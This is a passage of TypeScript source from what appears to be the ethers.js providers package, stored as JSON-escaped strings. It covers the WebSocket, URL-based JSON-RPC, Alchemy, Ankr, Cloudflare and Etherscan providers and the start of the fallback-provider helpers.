this._subs[result.params.subscription];\n if (sub) {\n //this.emit.apply(this, );\n sub.processFunc(result.params.result)\n }\n\n } else {\n console.warn(\"this should not happen\");\n }\n };\n\n // This Provider does not actually poll, but we want to trigger\n // poll events for things that depend on them (like stalling for\n // block and transaction lookups)\n const fauxPoll = setInterval(() => {\n this.emit(\"poll\");\n }, 1000);\n if (fauxPoll.unref) { fauxPoll.unref(); }\n }\n\n // Cannot narrow the type of _websocket, as that is not backwards compatible\n // so we add a getter and let the WebSocket be a public API.\n get websocket(): WebSocketLike { return this._websocket; }\n\n detectNetwork(): Promise {\n return this._detectNetwork;\n }\n\n get pollingInterval(): number {\n return 0;\n }\n\n resetEventsBlock(blockNumber: number): void {\n logger.throwError(\"cannot reset events block on WebSocketProvider\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"resetEventBlock\"\n });\n }\n\n set pollingInterval(value: number) {\n logger.throwError(\"cannot set polling interval on WebSocketProvider\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"setPollingInterval\"\n });\n }\n\n async poll(): Promise {\n return null;\n }\n\n set polling(value: boolean) {\n if (!value) { return; }\n\n logger.throwError(\"cannot set polling on WebSocketProvider\", Logger.errors.UNSUPPORTED_OPERATION, {\n operation: \"setPolling\"\n });\n }\n\n send(method: string, params?: Array): Promise {\n const rid = NextId++;\n\n return new Promise((resolve, reject) => {\n function callback(error: Error, result: any) {\n if (error) { return reject(error); }\n return resolve(result);\n }\n\n const payload = JSON.stringify({\n method: method,\n params: params,\n id: rid,\n jsonrpc: \"2.0\"\n });\n\n this.emit(\"debug\", {\n action: \"request\",\n request: JSON.parse(payload),\n provider: this\n });\n\n this._requests[String(rid)] = { callback, payload };\n\n if (this._wsReady) { this.websocket.send(payload); }\n });\n }\n\n static defaultUrl(): string {\n return \"ws:/\\/localhost:8546\";\n }\n\n async _subscribe(tag: string, param: Array, processFunc: (result: any) => void): Promise {\n let subIdPromise = this._subIds[tag];\n if (subIdPromise == null) {\n subIdPromise = Promise.all(param).then((param) => {\n return this.send(\"eth_subscribe\", param);\n });\n this._subIds[tag] = subIdPromise;\n }\n const subId = await subIdPromise;\n this._subs[subId] = { tag, processFunc };\n }\n\n _startEvent(event: Event): void {\n switch (event.type) {\n case \"block\":\n this._subscribe(\"block\", [ \"newHeads\" ], (result: any) => {\n const blockNumber = BigNumber.from(result.number).toNumber();\n this._emitted.block = blockNumber;\n this.emit(\"block\", blockNumber);\n });\n break;\n\n case \"pending\":\n this._subscribe(\"pending\", [ \"newPendingTransactions\" ], (result: any) => {\n this.emit(\"pending\", result);\n });\n break;\n\n case \"filter\":\n this._subscribe(event.tag, [ \"logs\", this._getFilter(event.filter) ], (result: any) => {\n if (result.removed == null) { result.removed = false; }\n this.emit(event.filter, this.formatter.filterLog(result));\n });\n break;\n\n case \"tx\": {\n const emitReceipt = (event: Event) => {\n const hash = event.hash;\n this.getTransactionReceipt(hash).then((receipt) => {\n if (!receipt) { return; }\n this.emit(hash, receipt);\n });\n };\n\n // In case it is already mined\n emitReceipt(event);\n\n // To keep things simple, we start up a single newHeads subscription\n // to keep an eye out for transactions we are watching for.\n // Starting a subscription for an event (i.e. \"tx\") that is already\n // running is (basically) a nop.\n this._subscribe(\"tx\", [ \"newHeads\" ], (result: any) => {\n this._events.filter((e) => (e.type === \"tx\")).forEach(emitReceipt);\n });\n break;\n }\n\n // Nothing is needed\n case \"debug\":\n case \"poll\":\n case \"willPoll\":\n case \"didPoll\":\n case \"error\":\n break;\n\n default:\n console.log(\"unhandled:\", event);\n break;\n }\n }\n\n _stopEvent(event: Event): void {\n let tag = event.tag;\n\n if (event.type === \"tx\") {\n // There are remaining transaction event listeners\n if (this._events.filter((e) => (e.type === \"tx\")).length) {\n return;\n }\n tag = \"tx\";\n } else if (this.listenerCount(event.event)) {\n // There are remaining event listeners\n return;\n }\n\n const subId = this._subIds[tag];\n if (!subId) { return; }\n\n delete this._subIds[tag];\n subId.then((subId) => {\n if (!this._subs[subId]) { return; }\n delete this._subs[subId];\n this.send(\"eth_unsubscribe\", [ subId ]);\n });\n }\n\n async destroy(): Promise {\n // Wait until we have connected before trying to disconnect\n if (this.websocket.readyState === WebSocket.CONNECTING) {\n await (new Promise((resolve) => {\n this.websocket.onopen = function() {\n resolve(true);\n };\n\n this.websocket.onerror = function() {\n resolve(false);\n };\n }));\n }\n\n // Hangup\n // See: https://developer.mozilla.org/en-US/docs/Web/API/CloseEvent#Status_codes\n this.websocket.close(1000);\n }\n}\n", "\n\"use strict\";\n\nimport { Network, Networkish } from \"@ethersproject/networks\";\nimport { defineReadOnly, getStatic } from \"@ethersproject/properties\";\nimport { ConnectionInfo } from \"@ethersproject/web\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { CommunityResourcable } from \"./formatter\";\nimport { JsonRpcProvider, JsonRpcSigner } from \"./json-rpc-provider\";\n\ntype getUrlFunc = (network: Network, apiKey: string) => string | ConnectionInfo;\n\n// A StaticJsonRpcProvider is useful when you *know* for certain that\n// the backend will never change, as it never calls eth_chainId to\n// verify its backend. However, if the backend does change, the effects\n// are undefined and may include:\n// - inconsistent results\n// - locking up the UI\n// - block skew warnings\n// - wrong results\n// If the network is not explicit (i.e. auto-detection is expected), the\n// node MUST be running and available to respond to requests BEFORE this\n// is instantiated.\nexport class StaticJsonRpcProvider extends JsonRpcProvider {\n async detectNetwork(): Promise {\n let network = this.network;\n if (network == null) {\n network = await super.detectNetwork();\n\n if (!network) {\n logger.throwError(\"no network detected\", Logger.errors.UNKNOWN_ERROR, { });\n }\n\n // If still not set, set it\n if (this._network == null) {\n // A static network does not support \"any\"\n defineReadOnly(this, \"_network\", network);\n\n this.emit(\"network\", network, null);\n }\n }\n return network;\n }\n}\n\nexport abstract class UrlJsonRpcProvider extends StaticJsonRpcProvider implements CommunityResourcable {\n readonly apiKey: any;\n\n constructor(network?: Networkish, apiKey?: any) {\n logger.checkAbstract(new.target, UrlJsonRpcProvider);\n\n // Normalize the Network and API Key\n network = getStatic<(network: Networkish) => Network>(new.target, \"getNetwork\")(network);\n apiKey = getStatic<(apiKey: string) => string>(new.target, \"getApiKey\")(apiKey);\n\n const connection = getStatic(new.target, \"getUrl\")(network, apiKey);\n\n super(connection, network);\n\n if (typeof(apiKey) === \"string\") {\n defineReadOnly(this, \"apiKey\", apiKey);\n } else if (apiKey != null) {\n Object.keys(apiKey).forEach((key) => {\n defineReadOnly(this, key, apiKey[key]);\n });\n }\n }\n\n _startPending(): void {\n logger.warn(\"WARNING: API provider does not support pending filters\");\n }\n\n isCommunityResource(): boolean {\n return false;\n }\n\n getSigner(address?: string): JsonRpcSigner {\n return logger.throwError(\n \"API provider does not support signing\",\n Logger.errors.UNSUPPORTED_OPERATION,\n { operation: \"getSigner\" }\n );\n }\n\n listAccounts(): Promise> {\n return Promise.resolve([]);\n }\n\n // Return a defaultApiKey if null, otherwise validate the API key\n static getApiKey(apiKey: any): any {\n return apiKey;\n }\n\n // Returns the url or connection for the given network and API key. The\n // API key will have been sanitized by the getApiKey first, so any validation\n // or transformations can be done there.\n static getUrl(network: Network, apiKey: any): string | ConnectionInfo {\n return logger.throwError(\"not implemented; sub-classes must override getUrl\", Logger.errors.NOT_IMPLEMENTED, {\n operation: \"getUrl\"\n });\n }\n}\n", "\"use strict\";\n\nimport { Network, Networkish } from \"@ethersproject/networks\";\nimport { defineReadOnly } from \"@ethersproject/properties\";\nimport { ConnectionInfo } from \"@ethersproject/web\";\n\nimport { CommunityResourcable, showThrottleMessage } from \"./formatter\";\nimport { WebSocketProvider } from \"./websocket-provider\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\n\n// This key was provided to ethers.js by Alchemy to be used by the\n// default provider, but it is recommended that for your own\n// production environments, that you acquire your own API key at:\n// https://dashboard.alchemyapi.io\n\nconst defaultApiKey = \"_gg7wSSi0KMBsdKnGVfHDueq6xMB9EkC\"\n\nexport class AlchemyWebSocketProvider extends WebSocketProvider implements CommunityResourcable {\n readonly apiKey: string;\n\n constructor(network?: Networkish, apiKey?: any) {\n const provider = new AlchemyProvider(network, apiKey);\n\n const url = provider.connection.url.replace(/^http/i, \"ws\")\n .replace(\".alchemyapi.\", \".ws.alchemyapi.\");\n\n super(url, provider.network);\n defineReadOnly(this, \"apiKey\", provider.apiKey);\n }\n\n isCommunityResource(): boolean {\n return (this.apiKey === defaultApiKey);\n }\n}\n\nexport class AlchemyProvider extends UrlJsonRpcProvider {\n\n static getWebSocketProvider(network?: Networkish, apiKey?: any): AlchemyWebSocketProvider {\n return new AlchemyWebSocketProvider(network, apiKey);\n }\n\n static getApiKey(apiKey: any): any {\n if (apiKey == null) { return defaultApiKey; }\n if (apiKey && typeof(apiKey) !== \"string\") {\n logger.throwArgumentError(\"invalid apiKey\", \"apiKey\", apiKey);\n }\n return apiKey;\n }\n\n static getUrl(network: Network, apiKey: string): ConnectionInfo {\n let host = null;\n switch (network.name) {\n case \"homestead\":\n host = \"eth-mainnet.alchemyapi.io/v2/\";\n break;\n case \"goerli\":\n host = \"eth-goerli.g.alchemy.com/v2/\";\n break;\n case \"matic\":\n host = \"polygon-mainnet.g.alchemy.com/v2/\";\n break;\n case \"maticmum\":\n host = \"polygon-mumbai.g.alchemy.com/v2/\";\n break;\n case \"arbitrum\":\n host = \"arb-mainnet.g.alchemy.com/v2/\";\n break;\n case \"arbitrum-goerli\":\n host = \"arb-goerli.g.alchemy.com/v2/\";\n break;\n case \"optimism\":\n host = \"opt-mainnet.g.alchemy.com/v2/\";\n break;\n case \"optimism-goerli\":\n host = \"opt-goerli.g.alchemy.com/v2/\"\n break;\n default:\n logger.throwArgumentError(\"unsupported network\", \"network\", arguments[0]);\n }\n\n return {\n allowGzip: true,\n url: (\"https:/\" + \"/\" + host + apiKey),\n throttleCallback: (attempt: number, url: string) => {\n if (apiKey === defaultApiKey) {\n showThrottleMessage();\n }\n return Promise.resolve(true);\n }\n };\n }\n\n isCommunityResource(): boolean {\n return (this.apiKey === defaultApiKey);\n }\n}\n", "\nimport { Network } from \"@ethersproject/networks\";\n\nimport { showThrottleMessage } from \"./formatter\";\nimport { UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\n\nimport type { ConnectionInfo } from \"@ethersproject/web\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\n\nconst defaultApiKey = \"9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972\";\n\nfunction getHost(name: string): string {\n switch (name) {\n case \"homestead\":\n return \"rpc.ankr.com/eth/\";\n case \"ropsten\":\n return \"rpc.ankr.com/eth_ropsten/\";\n case \"rinkeby\":\n return \"rpc.ankr.com/eth_rinkeby/\";\n case \"goerli\":\n return \"rpc.ankr.com/eth_goerli/\";\n\n case \"matic\":\n return \"rpc.ankr.com/polygon/\";\n\n case \"arbitrum\":\n return \"rpc.ankr.com/arbitrum/\";\n }\n return logger.throwArgumentError(\"unsupported network\", \"name\", name);\n}\n\nexport class AnkrProvider extends UrlJsonRpcProvider {\n readonly apiKey: string;\n\n isCommunityResource(): boolean {\n return (this.apiKey === defaultApiKey);\n }\n\n static getApiKey(apiKey: any): any {\n if (apiKey == null) { return defaultApiKey; }\n return apiKey;\n }\n\n static getUrl(network: Network, apiKey: any): ConnectionInfo {\n if (apiKey == null) { apiKey = defaultApiKey; }\n const connection: ConnectionInfo = {\n allowGzip: true,\n url: (\"https:/\\/\" + getHost(network.name) + apiKey),\n throttleCallback: (attempt: number, url: string) => {\n if (apiKey.apiKey === defaultApiKey) {\n showThrottleMessage();\n }\n return Promise.resolve(true);\n }\n };\n\n if (apiKey.projectSecret != null) {\n connection.user = \"\";\n connection.password = apiKey.projectSecret\n }\n\n return connection;\n }\n}\n", "\"use strict\";\n\nimport { Network } from \"@ethersproject/networks\";\nimport { UrlJsonRpcProvider } from \"./url-json-rpc-provider\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nexport class CloudflareProvider extends UrlJsonRpcProvider {\n\n static getApiKey(apiKey: any): any {\n if (apiKey != null) {\n logger.throwArgumentError(\"apiKey not supported for cloudflare\", \"apiKey\", apiKey);\n }\n return null;\n }\n\n static getUrl(network: Network, apiKey?: any): string {\n let host = null;\n switch (network.name) {\n case \"homestead\":\n host = \"https://cloudflare-eth.com/\";\n break;\n default:\n logger.throwArgumentError(\"unsupported network\", \"network\", arguments[0]);\n }\n\n return host;\n }\n\n async perform(method: string, params: any): Promise {\n // The Cloudflare provider does not support eth_blockNumber,\n // so we get the latest block and pull it from that\n if (method === \"getBlockNumber\") {\n const block = await super.perform(\"getBlock\", { blockTag: \"latest\" });\n return block.number;\n }\n\n return super.perform(method, params);\n }\n}\n", "\"use strict\";\n\nimport { BlockTag, TransactionRequest, TransactionResponse } from \"@ethersproject/abstract-provider\";\nimport { hexlify, hexValue, isHexString } from \"@ethersproject/bytes\";\nimport { Network, Networkish } from \"@ethersproject/networks\";\nimport { deepCopy, defineReadOnly } from \"@ethersproject/properties\";\nimport { accessListify } from \"@ethersproject/transactions\";\nimport { ConnectionInfo, fetchJson } from \"@ethersproject/web\";\n\nimport { showThrottleMessage } from \"./formatter\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nimport { BaseProvider } from \"./base-provider\";\n\n\n// The transaction has already been sanitized by the calls in Provider\nfunction getTransactionPostData(transaction: TransactionRequest): Record {\n const result: Record = { };\n for (let key in transaction) {\n if ((transaction)[key] == null) { continue; }\n let value = (transaction)[key];\n if (key === \"type\" && value === 0) { continue; }\n\n // Quantity-types require no leading zero, unless 0\n if (({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true })[key]) {\n value = hexValue(hexlify(value));\n } else if (key === \"accessList\") {\n value = \"[\" + accessListify(value).map((set) => {\n return `{address:\"${ set.address }\",storageKeys:[\"${ set.storageKeys.join('\",\"') }\"]}`;\n }).join(\",\") + \"]\";\n } else {\n value = hexlify(value);\n }\n result[key] = value;\n }\n return result;\n}\n\nfunction getResult(result: { status?: number, message?: string, result?: any }): any {\n // getLogs, getHistory have weird success responses\n if (result.status == 0 && (result.message === \"No records found\" || result.message === \"No transactions found\")) {\n return result.result;\n }\n\n if (result.status != 1 || typeof(result.message) !== \"string\" || !result.message.match(/^OK/)) {\n const error: any = new Error(\"invalid response\");\n error.result = JSON.stringify(result);\n if ((result.result || \"\").toLowerCase().indexOf(\"rate limit\") >= 0) {\n error.throttleRetry = true;\n }\n throw error;\n }\n\n return result.result;\n}\n\nfunction getJsonResult(result: { jsonrpc: string, result?: any, error?: { code?: number, data?: any, message?: string} } ): any {\n // This response indicates we are being throttled\n if (result && (result).status == 0 && (result).message == \"NOTOK\" && (result.result || \"\").toLowerCase().indexOf(\"rate limit\") >= 0) {\n const error: any = new Error(\"throttled response\");\n error.result = JSON.stringify(result);\n error.throttleRetry = true;\n throw error;\n }\n\n if (result.jsonrpc != \"2.0\") {\n // @TODO: not any\n const error: any = new Error(\"invalid response\");\n error.result = JSON.stringify(result);\n throw error;\n }\n\n if (result.error) {\n // @TODO: not any\n const error: any = new Error(result.error.message || \"unknown error\");\n if (result.error.code) { error.code = result.error.code; }\n if (result.error.data) { error.data = result.error.data; }\n throw error;\n }\n\n return result.result;\n}\n\n// The blockTag was normalized as a string by the Provider pre-perform operations\nfunction checkLogTag(blockTag: string): number | \"latest\" {\n if (blockTag === \"pending\") { throw new Error(\"pending not supported\"); }\n if (blockTag === \"latest\") { return blockTag; }\n\n return parseInt(blockTag.substring(2), 16);\n}\n\n\nfunction checkError(method: string, error: any, transaction: any): any {\n // Undo the \"convenience\" some nodes are attempting to prevent backwards\n // incompatibility; maybe for v6 consider forwarding reverts as errors\n if (method === \"call\" && error.code === Logger.errors.SERVER_ERROR) {\n const e = error.error;\n\n // Etherscan keeps changing their string\n if (e && (e.message.match(/reverted/i) || e.message.match(/VM execution error/i))) {\n // Etherscan prefixes the data like \"Reverted 0x1234\"\n let data = e.data;\n if (data) { data = \"0x\" + data.replace(/^.*0x/i, \"\"); }\n\n if (isHexString(data)) { return data; }\n\n logger.throwError(\"missing revert data in call exception\", Logger.errors.CALL_EXCEPTION, {\n error, data: \"0x\"\n });\n }\n }\n\n // Get the message from any nested error structure\n let message = error.message;\n if (error.code === Logger.errors.SERVER_ERROR) {\n if (error.error && typeof(error.error.message) === \"string\") {\n message = error.error.message;\n } else if (typeof(error.body) === \"string\") {\n message = error.body;\n } else if (typeof(error.responseText) === \"string\") {\n message = error.responseText;\n }\n }\n message = (message || \"\").toLowerCase();\n\n // \"Insufficient funds. The account you tried to send transaction from does not have enough funds. Required 21464000000000 and got: 0\"\n if (message.match(/insufficient funds/)) {\n logger.throwError(\"insufficient funds for intrinsic transaction cost\", Logger.errors.INSUFFICIENT_FUNDS, {\n error, method, transaction\n });\n }\n\n // \"Transaction with the same hash was already imported.\"\n if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) {\n logger.throwError(\"nonce has already been used\", Logger.errors.NONCE_EXPIRED, {\n error, method, transaction\n });\n }\n\n // \"Transaction gas price is too low. There is another transaction with same nonce in the queue. Try increasing the gas price or incrementing the nonce.\"\n if (message.match(/another transaction with same nonce/)) {\n logger.throwError(\"replacement fee too low\", Logger.errors.REPLACEMENT_UNDERPRICED, {\n error, method, transaction\n });\n }\n\n if (message.match(/execution failed due to an exception|execution reverted/)) {\n logger.throwError(\"cannot estimate gas; transaction may fail or may require manual gas limit\", Logger.errors.UNPREDICTABLE_GAS_LIMIT, {\n error, method, transaction\n });\n }\n\n throw error;\n}\n\nexport class EtherscanProvider extends BaseProvider{\n readonly baseUrl: string;\n readonly apiKey: string | null;\n\n constructor(network?: Networkish, apiKey?: string) {\n super(network);\n\n defineReadOnly(this, \"baseUrl\", this.getBaseUrl());\n defineReadOnly(this, \"apiKey\", apiKey || null);\n }\n\n getBaseUrl(): string {\n switch(this.network ? this.network.name: \"invalid\") {\n case \"homestead\":\n return \"https:/\\/api.etherscan.io\";\n case \"goerli\":\n return \"https:/\\/api-goerli.etherscan.io\";\n case \"sepolia\":\n return \"https:/\\/api-sepolia.etherscan.io\";\n case \"matic\":\n return \"https:/\\/api.polygonscan.com\";\n case \"maticmum\":\n return \"https:/\\/api-testnet.polygonscan.com\";\n case \"arbitrum\":\n return \"https:/\\/api.arbiscan.io\";\n case \"arbitrum-goerli\":\n return \"https:/\\/api-goerli.arbiscan.io\";\n case \"optimism\":\n return \"https:/\\/api-optimistic.etherscan.io\";\n case \"optimism-goerli\":\n return \"https:/\\/api-goerli-optimistic.etherscan.io\";\n default:\n }\n\n return logger.throwArgumentError(\"unsupported network\", \"network\", this.network.name);\n }\n\n getUrl(module: string, params: Record): string {\n const query = Object.keys(params).reduce((accum, key) => {\n const value = params[key];\n if (value != null) {\n accum += `&${ key }=${ value }`\n }\n return accum\n }, \"\");\n const apiKey = ((this.apiKey) ? `&apikey=${ this.apiKey }`: \"\");\n return `${ this.baseUrl }/api?module=${ module }${ query }${ apiKey }`;\n }\n\n getPostUrl(): string {\n return `${ this.baseUrl }/api`;\n }\n\n getPostData(module: string, params: Record): Record {\n params.module = module;\n params.apikey = this.apiKey;\n return params;\n }\n\n async fetch(module: string, params: Record, post?: boolean): Promise {\n const url = (post ? this.getPostUrl(): this.getUrl(module, params));\n const payload = (post ? this.getPostData(module, params): null);\n const procFunc = (module === \"proxy\") ? getJsonResult: getResult;\n\n this.emit(\"debug\", {\n action: \"request\",\n request: url,\n provider: this\n });\n\n const connection: ConnectionInfo = {\n url: url,\n throttleSlotInterval: 1000,\n throttleCallback: (attempt: number, url: string) => {\n if (this.isCommunityResource()) {\n showThrottleMessage();\n }\n return Promise.resolve(true);\n }\n };\n\n let payloadStr: string = null;\n if (payload) {\n connection.headers = { \"content-type\": \"application/x-www-form-urlencoded; charset=UTF-8\" };\n payloadStr = Object.keys(payload).map((key) => {\n return `${ key }=${ payload[key] }`\n }).join(\"&\");\n }\n\n const result = await fetchJson(connection, payloadStr, procFunc || getJsonResult);\n\n this.emit(\"debug\", {\n action: \"response\",\n request: url,\n response: deepCopy(result),\n provider: this\n });\n\n return result;\n }\n\n async detectNetwork(): Promise {\n return this.network;\n }\n\n async perform(method: string, params: any): Promise {\n\n switch (method) {\n case \"getBlockNumber\":\n return this.fetch(\"proxy\", { action: \"eth_blockNumber\" });\n\n case \"getGasPrice\":\n return this.fetch(\"proxy\", { action: \"eth_gasPrice\" });\n\n case \"getBalance\":\n // Returns base-10 result\n return this.fetch(\"account\", {\n action: \"balance\",\n address: params.address,\n tag: params.blockTag\n });\n\n case \"getTransactionCount\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionCount\",\n address: params.address,\n tag: params.blockTag\n });\n\n case \"getCode\":\n return this.fetch(\"proxy\", {\n action: \"eth_getCode\",\n address: params.address,\n tag: params.blockTag\n });\n\n case \"getStorageAt\":\n return this.fetch(\"proxy\", {\n action: \"eth_getStorageAt\",\n address: params.address,\n position: params.position,\n tag: params.blockTag\n });\n\n case \"sendTransaction\":\n return this.fetch(\"proxy\", {\n action: \"eth_sendRawTransaction\",\n hex: params.signedTransaction\n }, true).catch((error) => {\n return checkError(\"sendTransaction\", error, params.signedTransaction);\n });\n\n case \"getBlock\":\n if (params.blockTag) {\n return this.fetch(\"proxy\", {\n action: \"eth_getBlockByNumber\",\n tag: params.blockTag,\n boolean: (params.includeTransactions ? \"true\": \"false\")\n });\n }\n throw new Error(\"getBlock by blockHash not implemented\");\n\n case \"getTransaction\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionByHash\",\n txhash: params.transactionHash\n });\n\n case \"getTransactionReceipt\":\n return this.fetch(\"proxy\", {\n action: \"eth_getTransactionReceipt\",\n txhash: params.transactionHash\n });\n\n case \"call\": {\n if (params.blockTag !== \"latest\") {\n throw new Error(\"EtherscanProvider does not support blockTag for call\");\n }\n\n const postData = getTransactionPostData(params.transaction);\n postData.module = \"proxy\";\n postData.action = \"eth_call\";\n\n try {\n return await this.fetch(\"proxy\", postData, true);\n } catch (error) {\n return checkError(\"call\", error, params.transaction);\n }\n }\n\n case \"estimateGas\": {\n const postData = getTransactionPostData(params.transaction);\n postData.module = \"proxy\";\n postData.action = \"eth_estimateGas\";\n\n try {\n return await this.fetch(\"proxy\", postData, true);\n } catch (error) {\n return checkError(\"estimateGas\", error, params.transaction);\n }\n }\n\n case \"getLogs\": {\n const args: Record = { action: \"getLogs\" }\n\n if (params.filter.fromBlock) {\n args.fromBlock = checkLogTag(params.filter.fromBlock);\n }\n\n if (params.filter.toBlock) {\n args.toBlock = checkLogTag(params.filter.toBlock);\n }\n\n if (params.filter.address) {\n args.address = params.filter.address;\n }\n\n // @TODO: We can handle slightly more complicated logs using the logs API\n if (params.filter.topics && params.filter.topics.length > 0) {\n if (params.filter.topics.length > 1) {\n logger.throwError(\"unsupported topic count\", Logger.errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics });\n }\n\n if (params.filter.topics.length === 1) {\n const topic0 = params.filter.topics[0];\n if (typeof(topic0) !== \"string\" || topic0.length !== 66) {\n logger.throwError(\"unsupported topic format\", Logger.errors.UNSUPPORTED_OPERATION, { topic0: topic0 });\n }\n args.topic0 = topic0;\n }\n }\n\n const logs: Array = await this.fetch(\"logs\", args);\n\n // Cache txHash => blockHash\n let blocks: { [tag: string]: string } = {};\n\n // Add any missing blockHash to the logs\n for (let i = 0; i < logs.length; i++) {\n const log = logs[i];\n if (log.blockHash != null) { continue; }\n if (blocks[log.blockNumber] == null) {\n const block = await this.getBlock(log.blockNumber);\n if (block) {\n blocks[log.blockNumber] = block.hash;\n }\n }\n log.blockHash = blocks[log.blockNumber];\n }\n\n return logs;\n }\n\n case \"getEtherPrice\":\n if (this.network.name !== \"homestead\") { return 0.0; }\n return parseFloat((await this.fetch(\"stats\", { action: \"ethprice\" })).ethusd);\n\n default:\n break;\n }\n\n return super.perform(method, params);\n }\n\n // Note: The `page` page parameter only allows pagination within the\n // 10,000 window available without a page and offset parameter\n // Error: Result window is too large, PageNo x Offset size must\n // be less than or equal to 10000\n async getHistory(addressOrName: string | Promise, startBlock?: BlockTag, endBlock?: BlockTag): Promise> {\n const params = {\n action: \"txlist\",\n address: (await this.resolveName(addressOrName)),\n startblock: ((startBlock == null) ? 0: startBlock),\n endblock: ((endBlock == null) ? 99999999: endBlock),\n sort: \"asc\"\n };\n\n const result = await this.fetch(\"account\", params);\n\n return result.map((tx: any) => {\n [\"contractAddress\", \"to\"].forEach(function(key) {\n if (tx[key] == \"\") { delete tx[key]; }\n });\n if (tx.creates == null && tx.contractAddress != null) {\n tx.creates = tx.contractAddress;\n }\n const item = this.formatter.transactionResponse(tx);\n if (tx.timeStamp) { item.timestamp = parseInt(tx.timeStamp); }\n return item;\n });\n }\n\n isCommunityResource(): boolean {\n return (this.apiKey == null);\n }\n}\n", "\"use strict\";\n\nimport { Block, BlockWithTransactions, Provider } from \"@ethersproject/abstract-provider\";\nimport { BigNumber } from \"@ethersproject/bignumber\";\nimport { isHexString } from \"@ethersproject/bytes\";\nimport { Network } from \"@ethersproject/networks\";\nimport { deepCopy, defineReadOnly, shallowCopy } from \"@ethersproject/properties\";\nimport { shuffled } from \"@ethersproject/random\";\nimport { poll } from \"@ethersproject/web\";\n\nimport { BaseProvider } from \"./base-provider\";\nimport { isCommunityResource } from \"./formatter\";\n\nimport { Logger } from \"@ethersproject/logger\";\nimport { version } from \"./_version\";\nconst logger = new Logger(version);\n\nfunction now() { return (new Date()).getTime(); }\n\n// Returns to network as long as all agree, or null if any is null.\n// Throws an error if any two networks do not match.\nfunction checkNetworks(networks: Array): Network {\n let result = null;\n\n for (let i = 0; i < networks.length; i++) {\n const network = networks[i];\n\n // Null! We do not know our network; bail.\n if (network == null) { return null; }\n\n if (result) {\n // Make sure the network matches the previous networks\n if (!(result.name === network.name && result.chainId === network.chainId &&\n ((result.ensAddress === network.ensAddress) || (result.ensAddress == null && network.ensAddress == null)))) {\n\n logger.throwArgumentError(\"provider mismatch\", \"networks\", networks);\n }\n } else {\n result = network;\n }\n }\n\n return result;\n}\n\nfunction median(values: Array, maxDelta?: number): number {\n values = values.slice().sort();\n const middle = Math.floor(values.length / 2);\n\n // Odd length; take the middle\n if (values.length % 2) {\n return values[middle];\n }\n\n // Even length; take the average of the two middle\n const a = values[middle - 1], b = values[middle];\n\n if (maxDelta != null && Math.abs(a - b) > maxDelta) {\n return null;\n }\n\n return (a + b) / 2;\n}\n\nfunction serialize(value: any): string {\n if (value === null) {\n return \"null\";\n } else if (typeof(value) === \"number\" || typeof(value) === \"boolean\") {\n return JSON.stringify(value);\n } else if (typeof(value) === \"string\") {\n return value;\n } else if (BigNumber.isBigNumber(value)) {\n return value.toString();\n } else if (Array.isArray(value)) {\n return JSON.stringify(value.map((i) => serialize(i)));\n } else if (typeof(value) === \"object\") {\n const keys = Object.keys(value);\n keys.sort();\n return \"{\" + keys.map((key) => {\n let v = value[key];\n if (typeof(v) === \"function\") {\n v = \"[function]\";\n } else {\n v = serialize(v);\n }\n return JSON.stringify(key) + \":\" + v;\n }).join(\",\") + \"}\";\n }\n\n throw new Error(\"unknown value type: \" + typeof(value));\n}\n\n// Next request ID to use for emitting debug info\nlet nextRid = 1;\n\n\nexport interface FallbackProviderConfig {\n // The Provider\n provider: Provider;\n\n // The priority to favour this Provider; lower values are used first (higher priority)\n priority?: number;\n\n // Timeout before also triggering the next provider; this does not stop\n // this provider and if its result comes back before a quorum is reached\n // it will be incorporated into the vote\n // - lower values will cause more network traffic but may result in a\n // faster result.\n stallTimeout?: number;\n\n // How much this provider contributes to the quorum; sometimes a specific\n // provider may be more reliable or trustworthy than others, but usually\n // this should be left as the default\n weight?: number;\n};\n\n// A Staller is used to provide a delay to give a Provider a chance to response\n// before asking the next Provider to try.\ntype Staller = {\n wait: (func: () => void) => Promise\n getPromise: () => Promise,\n cancel: () => void\n};\n\nfunction stall(duration: number): Staller {\n let cancel: () => void = null;\n\n let timer: NodeJS.Timer = null;\n let promise = >(new Promise((resolve) => {\n cancel = function() {\n if (timer) {\n clearTimeout(timer);\n timer = null;\n }\n resolve();\n }\n timer = setTimeout(cancel, duration);\n }));\n\n const wait = (func: () => void) => {\n promise = promise.then(func);\n return promise;\n }\n\n function getPromise(): Promise {\n return promise;\n }\n\n return { cancel, getPromise, wait };\n}\n\nconst ForwardErrors = [\n Logger.errors.CALL_EXCEPTION,\n Logger.errors.INSUFFICIENT_FUNDS,\n Logger.errors.NONCE_EXPIRED,\n Logger.errors.REPLACEMENT_UNDERPRICED,\n Logger.errors.UNPREDICTABLE_GAS_LIMIT\n];\n\nconst ForwardProperties = [\n \"address\",\n \"args\",\n \"errorArgs\",\n \"errorSignature\",\n \"method\",\n \"transaction\",\n];\n\n\n// @TODO: Make this an object with staller and cancel built-in\ninterface RunningConfig extends FallbackProviderConfig {\n start?: number;\n done?: boolean;\n cancelled?: boolean;\n runner?: Promise;\n staller?: Staller;\n result?: any;\n error?: Error;\n};\n\nfunction exposeDebugConfig(config: RunningConfig, now?: number): any {\n const result: any = {\n weight: config.weight\n };\n Object.defineProperty(result, \"provider\", { get: () => config.provider });\n if (config.start) { result.start = config.start; }\n if (now) { result.duration = (now - config.start); }\n if (config.done) {\n if (config.error) {\n result.error = config.error;\n } else {\n result.result = config.result || null;\n }\n }\n return result;\n}\n\nfunction 